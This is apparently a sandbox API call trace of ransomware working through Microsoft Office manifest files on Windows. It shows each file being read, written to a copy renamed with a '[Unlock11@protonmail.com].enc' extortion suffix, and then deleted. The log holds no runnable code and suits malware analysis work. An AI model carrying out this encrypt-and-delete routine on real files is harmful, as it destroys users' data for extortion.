[0133.486] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0133.487] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0133.487] GetCurrentThreadId () returned 0x9b0 [0133.487] GetLastError () returned 0x12 [0133.487] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.488] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.489] GetCurrentThreadId () returned 0x9b0 [0133.489] GetLastError () returned 0x12 [0133.489] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.490] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.490] GetCurrentThreadId () returned 0x9b0 [0133.490] GetLastError () returned 0x12 [0133.491] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.491] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.491] GetCurrentThreadId () returned 0x9b0 [0133.491] GetLastError () returned 0x12 [0133.491] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.492] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.492] GetCurrentThreadId () returned 0x9b0 [0133.492] GetLastError () returned 0x12 [0133.492] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.492] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.493] GetCurrentThreadId () returned 0x9b0 [0133.493] GetLastError () returned 0x12 [0133.493] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.494] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.494] GetCurrentThreadId () returned 0x9b0 [0133.494] GetLastError () returned 0x12 [0133.494] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.494] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.494] GetCurrentThreadId () returned 0x9b0 [0133.495] GetLastError () returned 0x12 [0133.495] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.495] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.495] GetCurrentThreadId () returned 0x9b0 [0133.495] GetLastError () returned 0x12 [0133.495] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.495] GetCurrentThreadId () returned 0x9b0 [0133.496] GetLastError () returned 0x12 [0133.496] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.496] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.496] GetCurrentThreadId () returned 0x9b0 [0133.496] GetLastError () returned 0x12 [0133.496] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.497] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.497] GetCurrentThreadId () returned 0x9b0 [0133.497] GetLastError () returned 0x12 [0133.498] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0133.498] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0133.498] GetCurrentThreadId () returned 0x9b0 [0133.498] GetLastError () returned 0x12 [0133.498] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0133.498] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0133.499] GetCurrentThreadId () returned 0x9b0 [0133.499] GetLastError () returned 0x12 [0133.499] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0133.500] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 0x68 [0133.500] GetCurrentThreadId () returned 0x9b0 [0133.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0133.500] GetCurrentThreadId () returned 0x9b0 [0133.500] GetLastError () returned 0x0 [0133.500] GetCurrentThreadId () returned 0x9b0 [0133.500] GetCurrentThreadId () returned 0x9b0 [0133.500] GetLastError () returned 0x0 [0133.501] GetCurrentThreadId () returned 0x9b0 [0133.501] GetLastError () returned 0x0 [0133.501] GetCurrentThreadId () returned 0x9b0 [0133.501] GetLastError () returned 0x0 [0133.501] GetCurrentThreadId () returned 0x9b0 [0133.501] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0133.501] GetCurrentThreadId () returned 0x9b0 [0133.501] GetLastError () returned 0x0 [0133.501] GetCurrentThreadId () returned 0x9b0 [0133.501] GetLastError () returned 0x0 [0133.501] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c)) returned 1 [0133.502] GetLastError () returned 0x0 [0133.502] GetCurrentThreadId () returned 0x9b0 [0133.502] GetLastError () returned 0x0 [0133.502] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bc3c | out: pbBuffer=0x366bc3c) returned 1 [0133.502] GetCurrentThreadId () returned 0x9b0 [0133.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0133.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0133.502] GetCurrentThreadId () returned 0x9b0 [0133.502] GetLastError () returned 0x0 [0133.502] GetCurrentThreadId () returned 0x9b0 [0133.502] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaaa8 [0133.503] GetCurrentThreadId () returned 0x9b0 [0133.503] GetLastError () returned 0x0 [0133.503] GetCurrentThreadId () returned 0x9b0 [0133.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de568 [0133.503] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.503] GetFileType (hFile=0x39c) returned 0x1 [0133.503] GetCurrentThreadId () returned 0x9b0 [0133.504] GetLastError () returned 0x0 [0133.504] GetFileType (hFile=0x39c) returned 0x1 [0133.504] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.504] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.504] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.504] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.504] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.504] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.504] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.504] GetLastError () returned 0x0 [0133.504] GetCurrentThreadId () returned 0x9b0 [0133.504] GetLastError () returned 0x0 [0133.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0133.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0133.505] GetLastError () returned 0x0 [0133.505] GetLastError () returned 0x0 [0133.505] GetLastError () returned 0x0 [0133.505] GetLastError () returned 0x0 [0133.505] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.505] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de578 [0133.505] GetLastError () returned 0x0 [0133.505] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.506] GetFileType (hFile=0x3ac) returned 0x1 [0133.506] GetLastError () returned 0x0 [0133.506] GetCurrentThreadId () returned 0x9b0 [0133.506] GetLastError () returned 0x0 [0133.506] GetFileType (hFile=0x3ac) returned 0x1 [0133.506] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.507] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.507] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.507] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.507] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.507] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.507] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.507] GetLastError () returned 0x0 [0133.507] GetCurrentThreadId () returned 0x9b0 [0133.507] GetLastError () returned 0x0 [0133.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0133.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf598 | out: hHeap=0x2ad0000) returned 1 [0133.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0133.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0133.508] GetLastError () returned 0x0 [0133.508] GetLastError () returned 0x0 [0133.508] GetCurrentThreadId () returned 0x9b0 [0133.508] GetLastError () returned 0x0 [0133.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0133.508] GetLastError () returned 0x0 [0133.508] GetLastError () returned 0x0 [0133.508] GetCurrentThreadId () returned 0x9b0 [0133.508] GetLastError () returned 0x0 [0133.508] GetLastError () returned 0x0 [0133.512] GetLastError () returned 0x0 [0133.512] GetCurrentThreadId () returned 0x9b0 [0133.512] GetLastError () returned 0x0 [0133.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.513] GetCurrentThreadId () returned 0x9b0 [0133.513] GetLastError () returned 0x0 [0133.513] GetLastError () returned 0x0 [0133.513] GetLastError () returned 0x0 [0133.513] GetLastError () returned 0x0 [0133.513] GetCurrentThreadId () returned 0x9b0 [0133.514] GetLastError () returned 0x0 [0133.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0133.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.514] GetLastError () returned 0x0 [0133.516] GetLastError () returned 0x0 [0133.516] GetCurrentThreadId () returned 0x9b0 [0133.516] GetLastError () returned 0x0 [0133.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.516] GetLastError () returned 0x0 [0133.516] GetLastError () returned 0x0 [0133.517] GetCurrentThreadId () returned 0x9b0 [0133.517] GetLastError () returned 0x0 [0133.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de618 [0133.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0133.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.518] GetLastError () returned 0x0 [0133.518] GetLastError () returned 0x0 [0133.518] GetLastError () returned 0x0 [0133.518] GetLastError () returned 0x0 [0133.518] GetCurrentThreadId () returned 0x9b0 [0133.518] GetLastError () returned 0x0 [0133.518] GetCurrentThreadId () returned 0x9b0 [0133.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37a40f0 [0133.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.519] GetLastError () returned 0x0 [0133.520] GetLastError () returned 0x0 [0133.520] GetCurrentThreadId () returned 0x9b0 [0133.520] GetLastError () returned 0x0 [0133.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.520] GetLastError () returned 0x0 [0133.576] GetLastError () returned 0x0 [0133.576] GetCurrentThreadId () returned 0x9b0 [0133.576] GetLastError () returned 0x0 [0133.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0133.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0133.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.577] GetLastError () returned 0x0 [0133.577] GetLastError () returned 0x0 [0133.577] GetLastError () returned 0x0 [0133.577] GetLastError () returned 0x0 [0133.577] GetCurrentThreadId () returned 0x9b0 [0133.578] GetLastError () returned 0x0 [0133.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.578] GetCurrentThreadId () returned 0x9b0 [0133.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0133.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.578] GetLastError () returned 0x0 [0133.579] GetLastError () returned 0x0 [0133.579] GetCurrentThreadId () returned 0x9b0 [0133.579] GetLastError () returned 0x0 [0133.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.580] GetLastError () returned 0x0 [0133.580] GetLastError () returned 0x0 [0133.580] GetCurrentThreadId () returned 0x9b0 [0133.580] GetLastError () returned 0x0 [0133.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de578 [0133.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.581] GetLastError () returned 0x0 [0133.581] GetLastError () returned 0x0 [0133.581] GetLastError () returned 0x0 [0133.581] GetLastError () returned 0x0 [0133.582] GetCurrentThreadId () returned 0x9b0 [0133.582] GetLastError () returned 0x0 [0133.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0133.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0133.582] GetLastError () returned 0x0 [0133.583] GetLastError () returned 0x0 [0133.583] GetCurrentThreadId () returned 0x9b0 [0133.583] GetLastError () returned 0x0 [0133.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.583] GetLastError () returned 0x0 [0133.584] GetLastError () returned 0x0 [0133.584] GetCurrentThreadId () returned 0x9b0 [0133.584] GetLastError () returned 0x0 [0133.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.584] GetCurrentThreadId () returned 0x9b0 [0133.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0133.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0133.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.584] GetLastError () returned 0x0 [0133.585] GetLastError () returned 0x0 [0133.585] GetLastError () returned 0x0 [0133.585] GetLastError () returned 0x0 [0133.585] GetCurrentThreadId () returned 0x9b0 [0133.585] GetLastError () returned 0x0 [0133.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0133.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0133.586] GetLastError () returned 0x0 [0133.587] GetLastError () returned 0x0 [0133.587] GetCurrentThreadId () returned 0x9b0 [0133.587] GetLastError () returned 0x0 [0133.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.587] GetLastError () returned 0x0 [0133.588] GetLastError () returned 0x0 [0133.588] GetCurrentThreadId () returned 0x9b0 [0133.588] GetLastError () returned 0x0 [0133.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.588] GetCurrentThreadId () returned 0x9b0 [0133.588] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37940d0, Size=0xe935) returned 0x37940d0 [0133.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de618 [0133.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xe938) returned 0x36f8548 [0133.588] GetLastError () returned 0x0 [0133.589] GetLastError () returned 0x0 [0133.589] GetLastError () returned 0x0 [0133.589] GetLastError () returned 0x0 [0133.589] GetCurrentThreadId () returned 0x9b0 [0133.589] GetLastError () returned 0x0 [0133.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0133.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.590] GetCurrentThreadId () returned 0x9b0 [0133.590] GetCurrentThreadId () returned 0x9b0 [0133.591] CloseHandle (hObject=0x3ac) returned 1 [0133.591] GetCurrentThreadId () returned 0x9b0 [0133.591] CloseHandle (hObject=0x39c) returned 1 [0133.591] GetCurrentThreadId () returned 0x9b0 [0133.591] GetCurrentThreadId () returned 0x9b0 [0133.591] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0133.595] GetCurrentThreadId () returned 0x9b0 [0133.595] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 0x68 [0133.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0133.595] 